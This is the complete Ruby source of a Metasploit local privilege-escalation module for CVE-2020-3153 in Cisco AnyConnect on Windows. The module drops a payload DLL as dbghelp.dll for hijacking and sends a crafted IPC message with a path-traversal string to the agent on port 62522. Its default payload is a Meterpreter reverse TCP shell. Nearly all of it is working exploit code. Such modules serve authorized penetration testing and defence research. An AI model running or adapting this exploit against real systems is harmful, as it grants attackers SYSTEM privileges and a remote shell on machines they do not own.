##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::FileInfo
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco AnyConnect Priv Esc through Path Traversal',
        'Description' => %q{
          The installer component of Cisco AnyConnect Secure Mobility Client for Windows
          prior to 4.8.02042 is vulnerable to path traversal and allows local attackers
          to create/overwrite files in arbitrary locations with system level privileges.

          The attack consists in sending a specially crafted IPC request to the TCP port
          62522 on the loopback device, which is exposed by the Cisco AnyConnect Secure
          Mobility Agent service. This service will then launch the vulnerable installer
          component (`vpndownloader`), which copies itself to an arbitrary location
          before being executed with system privileges. Since `vpndownloader` is also
          vulnerable to DLL hijacking, a specially crafted DLL (`dbghelp.dll`) is created
          at the same location `vpndownloader` will be copied to get code execution with
          system privileges.

          This exploit has been successfully tested against Cisco AnyConnect Secure
          Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10
          version 1909 (x64) and Windows 7 SP1 (x86).
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'Yorick Koster', # original PoC, analysis
            'Antoine Goichot (ATGO)', # PoC
            'Christophe De La Fuente' # msf module
          ],
        'Platform' => 'win',
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [
            'Windows x86/x64 with x86 payload',
            {
              'Arch' => ARCH_X86
            }
          ]
        ],
        'Privileged' => true,
        'References' =>
          [
            ['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],
            ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],
            ['CVE', '2020-3153']
          ],
        'DisclosureDate' => 'Feb 19 2020',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
          'FileDropperDelay' => 10
        }
      )
    )

    register_options [
      OptString.new('INSTALL_PATH', [
        false,
        'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\
          ' should be found). It will be automatically detected if not set.'
      ])
    ]

    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ]
  end

  # See AnyConnect IPC protocol articles:
  # - https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/
  # - https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/
  class CIPCHeader < BinData::Record
    endian :little

    uint32 :id_tag, label: 'ID Tag', value: 0x4353434f
    uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes }
    uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes }
    uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF
    uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000
    uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002
    uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000
    uint8 :message_type, label: 'Message Type', initial_value: 1
    uint8 :message_id, label: 'Message ID', initial_value: 2
  end

  class CIPCTlv < BinData::Record
    endian :big

    uint8 :msg_type, label: 'Type'
    uint8 :msg_index, label: 'Index'
    uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes }
    stringz :msg_value, label: 'Value', length: -> { msg_length }
  end

  class CIPCMessage < BinData::Record
    endian :little

    cipc_header :header, label: 'Header'
    array :body, label: 'Body', type: :cipc_tlv, read_until: :eof
  end

  def detect_path
    program_files_paths = Set.new([get_env('ProgramFiles')])
    program_files_paths << get_env('ProgramFiles(x86)')
    path = 'Cisco\\Cisco AnyConnect Secure Mobility Client'

    program_files_paths.each do |program_files_path|
      next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\'))

      return "#{program_files_path}\\#{path}"
    end

    nil
  end

  def sanitize_path(path)
    return nil unless path

    path = path.strip
    loop do
      break if path.last != '\\'

      path.chop!
    end
    path
  end

  def check
    install_path = sanitize_path(datastore['INSTALL_PATH'])
    if install_path&.!= ''
      vprint_status("Skipping installation path detection and use provided path: #{install_path}")
      @installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil
    else
      vprint_status('Try to detect installation path...')
      @installation_path = detect_path
    end

    unless @installation_path
      return CheckCode.Safe('vpndownloader.exe not found on file system')
    end

    file_path = "#{@installation_path}\\vpndownloader.exe"
    vprint_status("Found vpndownloader.exe path: '#{file_path}'")

    version = file_version(file_path)
    unless version
      return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version')
    end

    patched_version = Gem::Version.new('4.8.02042')
    @ac_version = Gem::Version.new(version.join('.'))
    if @ac_version < patched_version
      return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version}.")
    else
      return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version}.")
    end
  end

  def exploit
    fail_with(Failure::None, 'Session is already elevated') if is_system?
    if !payload.arch.include?(ARCH_X86)
      fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload')
    end

    check_result = check
    print_status(check_result.message)
    if check_result == CheckCode::Safe
      unless @installation_path
        fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)')
      end
      unless datastore['ForceExploit']
        fail_with(Failure::NotVulnerable, 'Target is not vulnerable (set ForceExploit to override)')
      end
      print_warning('Override check result and attempt exploitation anyway')
    end

    cac_cmd = '"CAC-nc-install'
    if @ac_version && @ac_version >= Gem::Version.new('4.7')
      vprint_status('"-ipc" argument needed')
      cac_cmd << "\t-ipc=#{rand_text_numeric(5)}"
    else
      vprint_status('"-ipc" argument not needed')
    end

    program_data_path = get_env('ProgramData')
    dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll"
    print_status("Writing the payload to #{dbghelp_path}")

    begin
      payload_dll = generate_payload_dll(dll_exitprocess: true)
      write_file(dbghelp_path, payload_dll)
      register_file_for_cleanup(dbghelp_path)
    rescue ::Rex::Post::Meterpreter::RequestError => e
      fail_with(Failure::NotFound, e.message)
    end

    # vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the
    # normal process will copy the file to
    # "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\")
    register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe")
    junk = Rex::Text.rand_text_alphanumeric(4)
    cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\""
    vprint_status("IPC Command: #{cac_cmd}")

    cipc_msg = CIPCMessage.new
    cipc_msg.body << CIPCTlv.new(
      msg_type: 0,
      msg_index: 2,
      msg_value: cac_cmd
    )
    cipc_msg.body << CIPCTlv.new(
      msg_type: 0,
      msg_index: 6,
      msg_value: "#{@installation_path}\\vpndownloader.exe"
    )

    vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522')
    begin
      socket = client.net.socket.create(
        Rex::Socket::Parameters.new(
          'PeerHost' => '127.0.0.1',
          'PeerPort' => 62522,
          'Proto' => 'tcp'
        )
      )
    rescue Rex::ConnectionError => e
      fail_with(Failure::Unreachable, e.message)
    end

    vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)")
    socket.write(cipc_msg.to_binary_s)
    socket.flush
    # Give FileDropper some time to cleanup before handing over to the operator
    Rex.sleep(3)
  ensure
    if socket
      vprint_status('Shutdown the socket')
      socket.shutdown
    end
  end

end